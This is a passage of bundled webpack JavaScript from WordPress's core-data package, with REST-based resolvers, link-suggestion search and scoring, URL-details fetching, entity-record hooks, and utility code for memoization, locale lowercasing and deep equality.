4771 record = await external_wp_apiFetch_default()({ path });
4772 } catch (error) {
4773 return;
4774 }
4775 if (record) {
4776 dispatch.receiveRevisions(kind, name, recordKey, record, query);
4777 }
4778};
4779const getRegisteredPostMeta = (postType) => async ({ dispatch, resolveSelect }) => {
4780 let options;
4781 try {
4782 const {
4783 rest_namespace: restNamespace = "wp/v2",
4784 rest_base: restBase
4785 } = await resolveSelect.getPostType(postType) || {};
4786 options = await external_wp_apiFetch_default()({
4787 path: `${restNamespace}/${restBase}/?context=edit`,
4788 method: "OPTIONS"
4789 });
4790 } catch (error) {
4791 return;
4792 }
4793 if (options) {
4794 dispatch.receiveRegisteredPostMeta(
4795 postType,
4796 options?.schema?.properties?.meta?.properties
4797 );
4798 }
4799};
4800const getEntitiesConfig = (kind) => async ({ dispatch }) => {
4801 const loader = entities/* additionalEntityConfigLoaders */.L2.find(
4802 (l) => l.kind === kind
4803 );
4804 if (!loader) {
4805 return;
4806 }
4807 try {
4808 const configs = await loader.loadEntities();
4809 if (!configs.length) {
4810 return;
4811 }
4812 dispatch.addEntities(configs);
4813 } catch {
4814 }
4815};
4816
4817
4818
4819/***/ }),
4820
4821/***/ 7006:
4822/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
4823
4824"use strict";
4825
4826// EXPORTS
4827__webpack_require__.d(__webpack_exports__, {
4828 Y3: () => (/* reexport */ fetchLinkSuggestions),
4829 gr: () => (/* reexport */ experimental_fetch_url_data_default),
4830 l$: () => (/* binding */ fetchBlockPatterns)
4831});
4832
4833// EXTERNAL MODULE: ./node_modules/camel-case/dist.es2015/index.js
4834var dist_es2015 = __webpack_require__(5663);
4835// EXTERNAL MODULE: external ["wp","apiFetch"]
4836var external_wp_apiFetch_ = __webpack_require__(1455);
4837var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_);
4838// EXTERNAL MODULE: external ["wp","url"]
4839var external_wp_url_ = __webpack_require__(3832);
4840// EXTERNAL MODULE: external ["wp","htmlEntities"]
4841var external_wp_htmlEntities_ = __webpack_require__(8537);
4842// EXTERNAL MODULE: external ["wp","i18n"]
4843var external_wp_i18n_ = __webpack_require__(7723);
4844;// ./node_modules/@wordpress/core-data/build-module/fetch/__experimental-fetch-link-suggestions.js
4845
4846
4847
4848
4849async function fetchLinkSuggestions(search, searchOptions = {}, editorSettings = {}) {
4850 const searchOptionsToUse = searchOptions.isInitialSuggestions && searchOptions.initialSuggestionsSearchOptions ? {
4851 ...searchOptions,
4852 ...searchOptions.initialSuggestionsSearchOptions
4853 } : searchOptions;
4854 const {
4855 type,
4856 subtype,
4857 page,
4858 perPage = searchOptions.isInitialSuggestions ? 3 : 20
4859 } = searchOptionsToUse;
4860 const { disablePostFormats = false } = editorSettings;
4861 const queries = [];
4862 if (!type || type === "post") {
4863 queries.push(
4864 external_wp_apiFetch_default()({
4865 path: (0,external_wp_url_.addQueryArgs)("/wp/v2/search", {
4866 search,
4867 page,
4868 per_page: perPage,
4869 type: "post",
4870 subtype
4871 })
4872 }).then((results2) => {
4873 return results2.map((result) => {
4874 return {
4875 id: result.id,
4876 url: result.url,
4877 title: (0,external_wp_htmlEntities_.decodeEntities)(result.title || "") || (0,external_wp_i18n_.__)("(no title)"),
4878 type: result.subtype || result.type,
4879 kind: "post-type"
4880 };
4881 });
4882 }).catch(() => [])
4883 // Fail by returning no results.
4884 );
4885 }
4886 if (!type || type === "term") {
4887 queries.push(
4888 external_wp_apiFetch_default()({
4889 path: (0,external_wp_url_.addQueryArgs)("/wp/v2/search", {
4890 search,
4891 page,
4892 per_page: perPage,
4893 type: "term",
4894 subtype
4895 })
4896 }).then((results2) => {
4897 return results2.map((result) => {
4898 return {
4899 id: result.id,
4900 url: result.url,
4901 title: (0,external_wp_htmlEntities_.decodeEntities)(result.title || "") || (0,external_wp_i18n_.__)("(no title)"),
4902 type: result.subtype || result.type,
4903 kind: "taxonomy"
4904 };
4905 });
4906 }).catch(() => [])
4907 // Fail by returning no results.
4908 );
4909 }
4910 if (!disablePostFormats && (!type || type === "post-format")) {
4911 queries.push(
4912 external_wp_apiFetch_default()({
4913 path: (0,external_wp_url_.addQueryArgs)("/wp/v2/search", {
4914 search,
4915 page,
4916 per_page: perPage,
4917 type: "post-format",
4918 subtype
4919 })
4920 }).then((results2) => {
4921 return results2.map((result) => {
4922 return {
4923 id: result.id,
4924 url: result.url,
4925 title: (0,external_wp_htmlEntities_.decodeEntities)(result.title || "") || (0,external_wp_i18n_.__)("(no title)"),
4926 type: result.subtype || result.type,
4927 kind: "taxonomy"
4928 };
4929 });
4930 }).catch(() => [])
4931 // Fail by returning no results.
4932 );
4933 }
4934 if (!type || type === "attachment") {
4935 queries.push(
4936 external_wp_apiFetch_default()({
4937 path: (0,external_wp_url_.addQueryArgs)("/wp/v2/media", {
4938 search,
4939 page,
4940 per_page: perPage
4941 })
4942 }).then((results2) => {
4943 return results2.map((result) => {
4944 return {
4945 id: result.id,
4946 url: result.source_url,
4947 title: (0,external_wp_htmlEntities_.decodeEntities)(result.title.rendered || "") || (0,external_wp_i18n_.__)("(no title)"),
4948 type: result.type,
4949 kind: "media"
4950 };
4951 });
4952 }).catch(() => [])
4953 // Fail by returning no results.
4954 );
4955 }
4956 const responses = await Promise.all(queries);
4957 let results = responses.flat();
4958 results = results.filter((result) => !!result.id);
4959 results = sortResults(results, search);
4960 results = results.slice(0, perPage);
4961 return results;
4962}
4963function sortResults(results, search) {
4964 const searchTokens = tokenize(search);
4965 const scores = {};
4966 for (const result of results) {
4967 if (result.title) {
4968 const titleTokens = tokenize(result.title);
4969 const exactMatchingTokens = titleTokens.filter(
4970 (titleToken) => searchTokens.some(
4971 (searchToken) => titleToken === searchToken
4972 )
4973 );
4974 const subMatchingTokens = titleTokens.filter(
4975 (titleToken) => searchTokens.some(
4976 (searchToken) => titleToken !== searchToken && titleToken.includes(searchToken)
4977 )
4978 );
4979 const exactMatchScore = exactMatchingTokens.length / titleTokens.length * 10;
4980 const subMatchScore = subMatchingTokens.length / titleTokens.length;
4981 scores[result.id] = exactMatchScore + subMatchScore;
4982 } else {
4983 scores[result.id] = 0;
4984 }
4985 }
4986 return results.sort((a, b) => scores[b.id] - scores[a.id]);
4987}
4988function tokenize(text) {
4989 return text.toLowerCase().match(/[\p{L}\p{N}]+/gu) || [];
4990}
4991
4992
4993;// ./node_modules/@wordpress/core-data/build-module/fetch/__experimental-fetch-url-data.js
4994
4995
4996const CACHE = /* @__PURE__ */ new Map();
4997const fetchUrlData = async (url, options = {}) => {
4998 const endpoint = "/wp-block-editor/v1/url-details";
4999 const args = {
5000 url: (0,external_wp_url_.prependHTTP)(url)
5001 };
5002 if (!(0,external_wp_url_.isURL)(url)) {
5003 return Promise.reject(`${url} is not a valid URL.`);
5004 }
5005 const protocol = (0,external_wp_url_.getProtocol)(url);
5006 if (!protocol || !(0,external_wp_url_.isValidProtocol)(protocol) || !protocol.startsWith("http") || !/^https?:\/\/[^\/\s]/i.test(url)) {
5007 return Promise.reject(
5008 `${url} does not have a valid protocol. URLs must be "http" based`
5009 );
5010 }
5011 if (CACHE.has(url)) {
5012 return CACHE.get(url);
5013 }
5014 return external_wp_apiFetch_default()({
5015 path: (0,external_wp_url_.addQueryArgs)(endpoint, args),
5016 ...options
5017 }).then((res) => {
5018 CACHE.set(url, res);
5019 return res;
5020 });
5021};
5022var experimental_fetch_url_data_default = fetchUrlData;
5023
5024
5025;// ./node_modules/@wordpress/core-data/build-module/fetch/index.js
5026
5027
5028
5029
5030async function fetchBlockPatterns() {
5031 const restPatterns = await external_wp_apiFetch_default()({
5032 path: "/wp/v2/block-patterns/patterns"
5033 });
5034 if (!restPatterns) {
5035 return [];
5036 }
5037 return restPatterns.map(
5038 (pattern) => Object.fromEntries(
5039 Object.entries(pattern).map(([key, value]) => [
5040 (0,dist_es2015/* camelCase */.xQ)(key),
5041 value
5042 ])
5043 )
5044 );
5045}
5046
5047
5048
5049/***/ }),
5050
5051/***/ 7078:
5052/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
5053
5054"use strict";
5055/* harmony export */ __webpack_require__.d(__webpack_exports__, {
5056/* harmony export */ Ay: () => (/* binding */ useEntityRecords),
5057/* harmony export */ bM: () => (/* binding */ __experimentalUseEntityRecords),
5058/* harmony export */ pU: () => (/* binding */ useEntityRecordsWithPermissions)
5059/* harmony export */ });
5060/* harmony import */ var _wordpress_url__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(3832);
5061/* harmony import */ var _wordpress_url__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_url__WEBPACK_IMPORTED_MODULE_0__);
5062/* harmony import */ var _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(4040);
5063/* harmony import */ var _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_deprecated__WEBPACK_IMPORTED_MODULE_1__);
5064/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(7143);
5065/* harmony import */ var _wordpress_data__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_wordpress_data__WEBPACK_IMPORTED_MODULE_2__);
5066/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(6087);
5067/* harmony import */ var _wordpress_element__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_element__WEBPACK_IMPORTED_MODULE_3__);
5068/* harmony import */ var _use_query_select__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(7541);
5069/* harmony import */ var ___WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(4565);
5070/* harmony import */ var _lock_unlock__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(6378);
5071/* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(533);
5072
5073
5074
5075
5076
5077
5078
5079
5080const EMPTY_ARRAY = [];
5081function useEntityRecords(kind, name, queryArgs = {}, options = { enabled: true }) {
5082 const queryAsString = (0,_wordpress_url__WEBPACK_IMPORTED_MODULE_0__.addQueryArgs)("", queryArgs);
5083 const { data: records, ...rest } = (0,_use_query_select__WEBPACK_IMPORTED_MODULE_5__/* ["default"] */ .A)(
5084 (query) => {
5085 if (!options.enabled) {
5086 return {
5087 // Avoiding returning a new reference on every execution.
5088 data: EMPTY_ARRAY
5089 };
5090 }
5091 return query(___WEBPACK_IMPORTED_MODULE_4__.store).getEntityRecords(kind, name, queryArgs);
5092 },
5093 [kind, name, queryAsString, options.enabled]
5094 );
5095 const { totalItems, totalPages } = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_2__.useSelect)(
5096 (select) => {
5097 if (!options.enabled) {
5098 return {
5099 totalItems: null,
5100 totalPages: null
5101 };
5102 }
5103 return {
5104 totalItems: select(___WEBPACK_IMPORTED_MODULE_4__.store).getEntityRecordsTotalItems(
5105 kind,
5106 name,
5107 queryArgs
5108 ),
5109 totalPages: select(___WEBPACK_IMPORTED_MODULE_4__.store).getEntityRecordsTotalPages(
5110 kind,
5111 name,
5112 queryArgs
5113 )
5114 };
5115 },
5116 [kind, name, queryAsString, options.enabled]
5117 );
5118 return {
5119 records,
5120 totalItems,
5121 totalPages,
5122 ...rest
5123 };
5124}
5125function __experimentalUseEntityRecords(kind, name, queryArgs, options) {
5126 _wordpress_deprecated__WEBPACK_IMPORTED_MODULE_1___default()(`wp.data.__experimentalUseEntityRecords`, {
5127 alternative: "wp.data.useEntityRecords",
5128 since: "6.1"
5129 });
5130 return useEntityRecords(kind, name, queryArgs, options);
5131}
5132function useEntityRecordsWithPermissions(kind, name, queryArgs = {}, options = { enabled: true }) {
5133 const entityConfig = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_2__.useSelect)(
5134 (select) => select(___WEBPACK_IMPORTED_MODULE_4__.store).getEntityConfig(kind, name),
5135 [kind, name]
5136 );
5137 const { records: data, ...ret } = useEntityRecords(
5138 kind,
5139 name,
5140 {
5141 ...queryArgs,
5142 // If _fields is provided, we need to include _links in the request for permission caching to work.
5143 ...queryArgs._fields ? {
5144 _fields: [
5145 .../* @__PURE__ */ new Set([
5146 ...(0,_utils__WEBPACK_IMPORTED_MODULE_6__/* ["default"] */ .A)(
5147 queryArgs._fields
5148 ) || [],
5149 "_links"
5150 ])
5151 ].join()
5152 } : {}
5153 },
5154 options
5155 );
5156 const ids = (0,_wordpress_element__WEBPACK_IMPORTED_MODULE_3__.useMemo)(
5157 () => data?.map(
5158 // @ts-ignore
5159 (record) => record[entityConfig?.key ?? "id"]
5160 ) ?? [],
5161 [data, entityConfig?.key]
5162 );
5163 const permissions = (0,_wordpress_data__WEBPACK_IMPORTED_MODULE_2__.useSelect)(
5164 (select) => {
5165 const { getEntityRecordsPermissions } = (0,_lock_unlock__WEBPACK_IMPORTED_MODULE_7__/* .unlock */ .T)(
5166 select(___WEBPACK_IMPORTED_MODULE_4__.store)
5167 );
5168 return getEntityRecordsPermissions(kind, name, ids);
5169 },
5170 [ids, kind, name]
5171 );
5172 const dataWithPermissions = (0,_wordpress_element__WEBPACK_IMPORTED_MODULE_3__.useMemo)(
5173 () => data?.map((record, index) => ({
5174 // @ts-ignore
5175 ...record,
5176 permissions: permissions[index]
5177 })) ?? [],
5178 [data, permissions]
5179 );
5180 return { records: dataWithPermissions, ...ret };
5181}
5182
5183
5184
5185/***/ }),
5186
5187/***/ 7143:
5188/***/ ((module) => {
5189
5190"use strict";
5191module.exports = window["wp"]["data"];
5192
5193/***/ }),
5194
5195/***/ 7314:
5196/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
5197
5198"use strict";
5199/* harmony export */ __webpack_require__.d(__webpack_exports__, {
5200/* harmony export */ g: () => (/* binding */ lowerCase)
5201/* harmony export */ });
5202/* unused harmony export localeLowerCase */
5203/**
5204 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
5205 */
5206var SUPPORTED_LOCALE = {
5207 tr: {
5208 regexp: /\u0130|\u0049|\u0049\u0307/g,
5209 map: {
5210 İ: "\u0069",
5211 I: "\u0131",
5212 İ: "\u0069",
5213 },
5214 },
5215 az: {
5216 regexp: /\u0130/g,
5217 map: {
5218 İ: "\u0069",
5219 I: "\u0131",
5220 İ: "\u0069",
5221 },
5222 },
5223 lt: {
5224 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
5225 map: {
5226 I: "\u0069\u0307",
5227 J: "\u006A\u0307",
5228 Į: "\u012F\u0307",
5229 Ì: "\u0069\u0307\u0300",
5230 Í: "\u0069\u0307\u0301",
5231 Ĩ: "\u0069\u0307\u0303",
5232 },
5233 },
5234};
5235/**
5236 * Localized lower case.
5237 */
5238function localeLowerCase(str, locale) {
5239 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
5240 if (lang)
5241 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
5242 return lowerCase(str);
5243}
5244/**
5245 * Lower case as a function.
5246 */
5247function lowerCase(str) {
5248 return str.toLowerCase();
5249}
5250
5251
5252/***/ }),
5253
5254/***/ 7541:
5255/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
5256
5257"use strict";
5258
5259// EXPORTS
5260__webpack_require__.d(__webpack_exports__, {
5261 A: () => (/* binding */ useQuerySelect)
5262});
5263
5264// UNUSED EXPORTS: META_SELECTORS
5265
5266// EXTERNAL MODULE: external ["wp","data"]
5267var external_wp_data_ = __webpack_require__(7143);
5268;// ./node_modules/memize/dist/index.js
5269/**
5270 * Memize options object.
5271 *
5272 * @typedef MemizeOptions
5273 *
5274 * @property {number} [maxSize] Maximum size of the cache.
5275 */
5276
5277/**
5278 * Internal cache entry.
5279 *
5280 * @typedef MemizeCacheNode
5281 *
5282 * @property {?MemizeCacheNode|undefined} [prev] Previous node.
5283 * @property {?MemizeCacheNode|undefined} [next] Next node.
5284 * @property {Array<*>} args Function arguments for cache
5285 * entry.
5286 * @property {*} val Function result.
5287 */
5288
5289/**
5290 * Properties of the enhanced function for controlling cache.
5291 *
5292 * @typedef MemizeMemoizedFunction
5293 *
5294 * @property {()=>void} clear Clear the cache.
5295 */
5296
5297/**
5298 * Accepts a function to be memoized, and returns a new memoized function, with
5299 * optional options.
5300 *
5301 * @template {(...args: any[]) => any} F
5302 *
5303 * @param {F} fn Function to memoize.
5304 * @param {MemizeOptions} [options] Options object.
5305 *
5306 * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function.
5307 */
5308function memize(fn, options) {
5309 var size = 0;
5310
5311 /** @type {?MemizeCacheNode|undefined} */
5312 var head;
5313
5314 /** @type {?MemizeCacheNode|undefined} */
5315 var tail;
5316
5317 options = options || {};
5318
5319 function memoized(/* ...args */) {
5320 var node = head,
5321 len = arguments.length,
5322 args,
5323 i;
5324
5325 searchCache: while (node) {
5326 // Perform a shallow equality test to confirm that whether the node
5327 // under test is a candidate for the arguments passed. Two arrays
5328 // are shallowly equal if their length matches and each entry is
5329 // strictly equal between the two sets. Avoid abstracting to a
5330 // function which could incur an arguments leaking deoptimization.
5331
5332 // Check whether node arguments match arguments length
5333 if (node.args.length !== arguments.length) {
5334 node = node.next;
5335 continue;
5336 }
5337
5338 // Check whether node arguments match arguments values
5339 for (i = 0; i < len; i++) {
5340 if (node.args[i] !== arguments[i]) {
5341 node = node.next;
5342 continue searchCache;
5343 }
5344 }
5345
5346 // At this point we can assume we've found a match
5347
5348 // Surface matched node to head if not already
5349 if (node !== head) {
5350 // As tail, shift to previous. Must only shift if not also
5351 // head, since if both head and tail, there is no previous.
5352 if (node === tail) {
5353 tail = node.prev;
5354 }
5355
5356 // Adjust siblings to point to each other. If node was tail,
5357 // this also handles new tail's empty `next` assignment.
5358 /** @type {MemizeCacheNode} */ (node.prev).next = node.next;
5359 if (node.next) {
5360 node.next.prev = node.prev;
5361 }
5362
5363 node.next = head;
5364 node.prev = null;
5365 /** @type {MemizeCacheNode} */ (head).prev = node;
5366 head = node;
5367 }
5368
5369 // Return immediately
5370 return node.val;
5371 }
5372
5373 // No cached value found. Continue to insertion phase:
5374
5375 // Create a copy of arguments (avoid leaking deoptimization)
5376 args = new Array(len);
5377 for (i = 0; i < len; i++) {
5378 args[i] = arguments[i];
5379 }
5380
5381 node = {
5382 args: args,
5383
5384 // Generate the result from original function
5385 val: fn.apply(null, args),
5386 };
5387
5388 // Don't need to check whether node is already head, since it would
5389 // have been returned above already if it was
5390
5391 // Shift existing head down list
5392 if (head) {
5393 head.prev = node;
5394 node.next = head;
5395 } else {
5396 // If no head, follows that there's no tail (at initial or reset)
5397 tail = node;
5398 }
5399
5400 // Trim tail if we're reached max size and are pending cache insertion
5401 if (size === /** @type {MemizeOptions} */ (options).maxSize) {
5402 tail = /** @type {MemizeCacheNode} */ (tail).prev;
5403 /** @type {MemizeCacheNode} */ (tail).next = null;
5404 } else {
5405 size++;
5406 }
5407
5408 head = node;
5409
5410 return node.val;
5411 }
5412
5413 memoized.clear = function () {
5414 head = null;
5415 tail = null;
5416 size = 0;
5417 };
5418
5419 // Ignore reason: There's not a clear solution to create an intersection of
5420 // the function with additional properties, where the goal is to retain the
5421 // function signature of the incoming argument and add control properties
5422 // on the return value.
5423
5424 // @ts-ignore
5425 return memoized;
5426}
5427
5428
5429
5430;// ./node_modules/@wordpress/core-data/build-module/hooks/memoize.js
5431
5432var memoize_default = memize;
5433
5434
5435// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/hooks/constants.js
5436var constants = __webpack_require__(2859);
5437;// ./node_modules/@wordpress/core-data/build-module/hooks/use-query-select.js
5438
5439
5440
5441const META_SELECTORS = [
5442 "getIsResolving",
5443 "hasStartedResolution",
5444 "hasFinishedResolution",
5445 "isResolving",
5446 "getCachedResolvers"
5447];
5448function useQuerySelect(mapQuerySelect, deps) {
5449 return (0,external_wp_data_.useSelect)((select, registry) => {
5450 const resolve = (store) => enrichSelectors(select(store));
5451 return mapQuerySelect(resolve, registry);
5452 }, deps);
5453}
5454const enrichSelectors = memoize_default(((selectors) => {
5455 const resolvers = {};
5456 for (const selectorName in selectors) {
5457 if (META_SELECTORS.includes(selectorName)) {
5458 continue;
5459 }
5460 Object.defineProperty(resolvers, selectorName, {
5461 get: () => (...args) => {
5462 const data = selectors[selectorName](...args);
5463 const resolutionStatus = selectors.getResolutionState(
5464 selectorName,
5465 args
5466 )?.status;
5467 let status;
5468 switch (resolutionStatus) {
5469 case "resolving":
5470 status = constants/* Status */.n.Resolving;
5471 break;
5472 case "finished":
5473 status = constants/* Status */.n.Success;
5474 break;
5475 case "error":
5476 status = constants/* Status */.n.Error;
5477 break;
5478 case void 0:
5479 status = constants/* Status */.n.Idle;
5480 break;
5481 }
5482 return {
5483 data,
5484 status,
5485 isResolving: status === constants/* Status */.n.Resolving,
5486 hasStarted: status !== constants/* Status */.n.Idle,
5487 hasResolved: status === constants/* Status */.n.Success || status === constants/* Status */.n.Error
5488 };
5489 }
5490 });
5491 }
5492 return resolvers;
5493}));
5494
5495
5496
5497/***/ }),
5498
5499/***/ 7723:
5500/***/ ((module) => {
5501
5502"use strict";
5503module.exports = window["wp"]["i18n"];
5504
5505/***/ }),
5506
5507/***/ 7734:
5508/***/ ((module) => {
5509
5510"use strict";
5511
5512
5513// do not edit .js files directly - edit src/index.jst
5514
5515
5516 var envHasBigInt64Array = typeof BigInt64Array !== 'undefined';
5517
5518
5519module.exports = function equal(a, b) {
5520 if (a === b) return true;
5521
5522 if (a && b && typeof a == 'object' && typeof b == 'object') {
5523 if (a.constructor !== b.constructor) return false;
5524
5525 var length, i, keys;
5526 if (Array.isArray(a)) {
5527 length = a.length;
5528 if (length != b.length) return false;
5529 for (i = length; i-- !== 0;)
5530 if (!equal(a[i], b[i])) return false;
5531 return true;
5532 }
5533
5534
5535 if ((a instanceof Map) && (b instanceof Map)) {
5536 if (a.size !== b.size) return false;
5537 for (i of a.entries())
5538 if (!b.has(i[0])) return false;
5539 for (i of a.entries())
5540 if (!equal(i[1], b.get(i[0]))) return false;
5541 return true;
5542 }
5543
5544 if ((a instanceof Set) && (b instanceof Set)) {
5545 if (a.size !== b.size) return false;
5546 for (i of a.entries())
5547 if (!b.has(i[0])) return false;
5548 return true;
5549 }
5550
5551 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
5552 length = a.length;
5553 if (length != b.length) return false;
5554 for (i = length; i-- !== 0;)
5555 if (a[i] !== b[i]) return false;
5556 return true;
5557 }
5558
5559
5560 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
5561 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
5562 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
5563
5564 keys = Object.keys(a);
5565 length = keys.length;
5566 if (length !== Object.keys(b).length) return false;
5567
5568 for (i = length; i-- !== 0;)
5569 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
5570
5571 for (i = length; i-- !== 0;) {
5572 var key = keys[i];
5573
5574 if (!equal(a[key], b[key])) return false;
5575 }
5576
5577 return true;
5578 }
5579
5580 // true if both NaN, false otherwise
5581 return a!==a && b!==b;
5582};
5583
5584
5585/***/ }),
5586
5587/***/ 7826:
5588/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
5589
5590"use strict";
5591/* harmony export */ __webpack_require__.d(__webpack_exports__, {
5592/* harmony export */ j: () => (/* binding */ privateApis)
5593/* harmony export */ });
5594/* harmony import */ var _hooks_use_entity_records__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(7078);
5595/* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(5101);
5596/* harmony import */ var _lock_unlock__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(6378);
5597
5598
5599
5600const privateApis = {};
5601(0,_lock_unlock__WEBPACK_IMPORTED_MODULE_0__/* .lock */ .s)(privateApis, {
5602 useEntityRecordsWithPermissions: _hooks_use_entity_records__WEBPACK_IMPORTED_MODULE_1__/* .useEntityRecordsWithPermissions */ .pU,
5603 RECEIVE_INTERMEDIATE_RESULTS: _utils__WEBPACK_IMPORTED_MODULE_2__/* .RECEIVE_INTERMEDIATE_RESULTS */ .Z
5604});
5605
5606
5607
5608/***/ }),
5609
5610/***/ 8368:
5611/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
5612
5613"use strict";
5614// ESM COMPAT FLAG
5615__webpack_require__.r(__webpack_exports__);
5616
5617// EXPORTS
5618__webpack_require__.d(__webpack_exports__, {
5619 __experimentalGetCurrentGlobalStylesId: () => (/* binding */ __experimentalGetCurrentGlobalStylesId),
5620 __experimentalGetCurrentThemeBaseGlobalStyles: () => (/* binding */ __experimentalGetCurrentThemeBaseGlobalStyles),
5621 __experimentalGetCurrentThemeGlobalStylesVariations: () => (/* binding */ __experimentalGetCurrentThemeGlobalStylesVariations),
5622 __experimentalGetDirtyEntityRecords: () => (/* binding */ __experimentalGetDirtyEntityRecords),
5623 __experimentalGetEntitiesBeingSaved: () => (/* binding */ __experimentalGetEntitiesBeingSaved),
5624 __experimentalGetEntityRecordNoResolver: () => (/* binding */ __experimentalGetEntityRecordNoResolver),
5625 canUser: () => (/* binding */ canUser),
5626 canUserEditEntityRecord: () => (/* binding */ canUserEditEntityRecord),
5627 getAuthors: () => (/* binding */ getAuthors),
5628 getAutosave: () => (/* binding */ getAutosave),
5629 getAutosaves: () => (/* binding */ getAutosaves),
5630 getBlockPatternCategories: () => (/* binding */ getBlockPatternCategories),
5631 getBlockPatterns: () => (/* binding */ getBlockPatterns),
5632 getCurrentTheme: () => (/* binding */ getCurrentTheme),
5633 getCurrentThemeGlobalStylesRevisions: () => (/* binding */ getCurrentThemeGlobalStylesRevisions),
5634 getCurrentUser: () => (/* binding */ getCurrentUser),
5635 getDefaultTemplateId: () => (/* binding */ getDefaultTemplateId),
5636 getEditedEntityRecord: () => (/* binding */ getEditedEntityRecord),
5637 getEmbedPreview: () => (/* binding */ getEmbedPreview),
5638 getEntitiesByKind: () => (/* binding */ getEntitiesByKind),
5639 getEntitiesConfig: () => (/* binding */ getEntitiesConfig),
5640 getEntity: () => (/* binding */ getEntity),
5641 getEntityConfig: () => (/* binding */ getEntityConfig),
5642 getEntityRecord: () => (/* binding */ getEntityRecord),
5643 getEntityRecordEdits: () => (/* binding */ getEntityRecordEdits),
5644 getEntityRecordNonTransientEdits: () => (/* binding */ getEntityRecordNonTransientEdits),
5645 getEntityRecords: () => (/* binding */ getEntityRecords),
5646 getEntityRecordsTotalItems: () => (/* binding */ getEntityRecordsTotalItems),
5647 getEntityRecordsTotalPages: () => (/* binding */ getEntityRecordsTotalPages),
5648 getLastEntityDeleteError: () => (/* binding */ getLastEntityDeleteError),
5649 getLastEntitySaveError: () => (/* binding */ getLastEntitySaveError),
5650 getRawEntityRecord: () => (/* binding */ getRawEntityRecord),
5651 getRedoEdit: () => (/* binding */ getRedoEdit),
5652 getReferenceByDistinctEdits: () => (/* binding */ getReferenceByDistinctEdits),
5653 getRevision: () => (/* binding */ getRevision),
5654 getRevisions: () => (/* binding */ getRevisions),
5655 getThemeSupports: () => (/* binding */ getThemeSupports),
5656 getUndoEdit: () => (/* binding */ getUndoEdit),
5657 getUserPatternCategories: () => (/* binding */ getUserPatternCategories),
5658 getUserQueryResults: () => (/* binding */ getUserQueryResults),
5659 hasEditsForEntityRecord: () => (/* binding */ hasEditsForEntityRecord),
5660 hasEntityRecord: () => (/* binding */ hasEntityRecord),
5661 hasEntityRecords: () => (/* binding */ hasEntityRecords),
5662 hasFetchedAutosaves: () => (/* binding */ hasFetchedAutosaves),
5663 hasRedo: () => (/* binding */ hasRedo),
5664 hasUndo: () => (/* binding */ hasUndo),
5665 isAutosavingEntityRecord: () => (/* binding */ isAutosavingEntityRecord),
5666 isDeletingEntityRecord: () => (/* binding */ isDeletingEntityRecord),
5667 isPreviewEmbedFallback: () => (/* binding */ isPreviewEmbedFallback),
5668 isRequestingEmbedPreview: () => (/* binding */ isRequestingEmbedPreview),
5669 isSavingEntityRecord: () => (/* binding */ isSavingEntityRecord)
5670});
5671
5672// EXTERNAL MODULE: external ["wp","data"]
5673var external_wp_data_ = __webpack_require__(7143);
5674// EXTERNAL MODULE: external ["wp","url"]
5675var external_wp_url_ = __webpack_require__(3832);
5676// EXTERNAL MODULE: external ["wp","deprecated"]
5677var external_wp_deprecated_ = __webpack_require__(4040);
5678var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_);
5679// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/name.js
5680var build_module_name = __webpack_require__(2278);
5681// EXTERNAL MODULE: ./node_modules/equivalent-key-map/equivalent-key-map.js
5682var equivalent_key_map = __webpack_require__(3249);
5683var equivalent_key_map_default = /*#__PURE__*/__webpack_require__.n(equivalent_key_map);
5684// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/queried-data/get-query-parts.js + 1 modules
5685var get_query_parts = __webpack_require__(4027);
5686// EXTERNAL MODULE: ./node_modules/@wordpress/core-data/build-module/utils/set-nested-value.js
5687var set_nested_value = __webpack_require__(5003);
5688;// ./node_modules/@wordpress/core-data/build-module/queried-data/selectors.js
5689
5690
5691
5692
5693const queriedItemsCacheByState = /* @__PURE__ */ new WeakMap();
5694function getQueriedItemsUncached(state, query) {
5695 const { stableKey, page, perPage, include, fields, context } = (0,get_query_parts/* default */.A)(query);
5696 let itemIds;
5697 if (state.queries?.[context]?.[stableKey]) {
